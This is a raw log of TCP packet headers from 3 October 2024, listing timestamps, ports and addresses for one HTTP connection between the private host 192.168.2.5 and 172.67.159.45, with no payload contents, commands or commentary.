Oct 3, 2024 05:02:58.036436081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036472082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036480904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036480904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036504984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036520958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036539078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036562920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036571026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036585093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036604881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036623955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036638975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036660910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036673069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036705971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036725044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036730051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036760092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036784887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036804914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036823034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036859035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036911964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036945105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036968946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.036977053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.036993027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037009954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037026882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037041903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037062883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037075043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037092924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037108898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037132025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037143946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037161112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037177086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037195921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037209988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037229061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037244081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037266016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037278891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037297010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037339926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037476063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037529945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037606955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037640095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037658930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037672043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037688017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037723064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037724018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037755966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037777901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037790060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037818909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037823915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037839890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037857056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037874937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037890911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037911892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037923098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037947893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037957907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.037971020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.037991047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038012028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038023949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038039923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038057089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038079023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038090944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038101912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038151026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038723946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038758039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038793087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038825989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038836002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038857937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038873911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038892031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038916111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038924932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038944960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038958073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.038979053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.038990974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039016008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039022923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039033890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039056063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039089918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039122105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039124966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039155006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039159060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039187908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039194107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039212942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039222956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039230108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039279938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039529085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039562941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039586067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039596081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039609909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039647102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039649963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039680958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039700985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039714098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039730072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039747000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039767027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039781094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039799929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039813995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039828062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039845943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039865971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039880037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039894104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039913893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039933920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039947033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039963007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.039980888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.039999008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040013075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040031910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040045977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040060043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040103912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040832043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040883064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040906906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040918112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040951967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040952921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040982008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.040987015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.040999889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041021109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041039944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041055918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041074991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041090012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041109085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041122913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041140079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041157007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041172981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041188955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041207075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041223049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041241884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041254997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041273117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041289091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041310072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041321039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041342974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041361094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041374922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041415930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041630983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041665077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041687965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041697979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041709900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041732073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041750908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041766882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041779995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041800976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041824102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041832924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041846037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041867018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041882992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041898966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041918039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041932106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041949034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041960955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.041980982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.041996002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042011023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042028904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042046070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042062998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042081118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042095900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042114019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042129040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042149067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042162895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.042196035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.042216063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128580093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128649950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128703117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128736019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128772020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128788948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128789902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128789902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128806114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128839970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128870964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128870964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128870964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128873110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128896952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128926039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128931046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.128958941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.128993988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129003048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129003048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129025936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129035950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129060030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129084110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129092932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129110098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129127026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129146099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129159927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129194975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129205942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129244089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129245043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129354000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129386902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129406929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129420996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129439116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129453897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129475117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129487038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129506111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129520893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129534006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129554033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129571915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129586935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129607916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129622936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129637003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129676104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.129934072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129983902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.129988909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130017042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130036116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130049944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130073071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130083084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130099058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130115986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130143881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130148888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130173922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130181074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130192041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130214930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130245924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130280018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130295038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130295038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130295992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130311966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130326033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130345106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130369902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130413055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130769968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130804062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130825996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130837917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130856037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130870104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130892992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130919933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130938053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130953074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.130980968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.130985975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131017923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131019115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131043911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131051064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131067991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131083965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131103039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131118059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131139040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131150007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131166935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131185055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131215096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131237984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131238937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131247997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131258965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131282091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131294966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131326914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131603956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131639004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131659985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131671906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131690025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131726027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131788015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131822109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131843090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131855011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131872892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131887913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131918907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131920099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131942034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.131953001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.131963968 CEST	49705	80	192.168.2.5	172.67.159.45
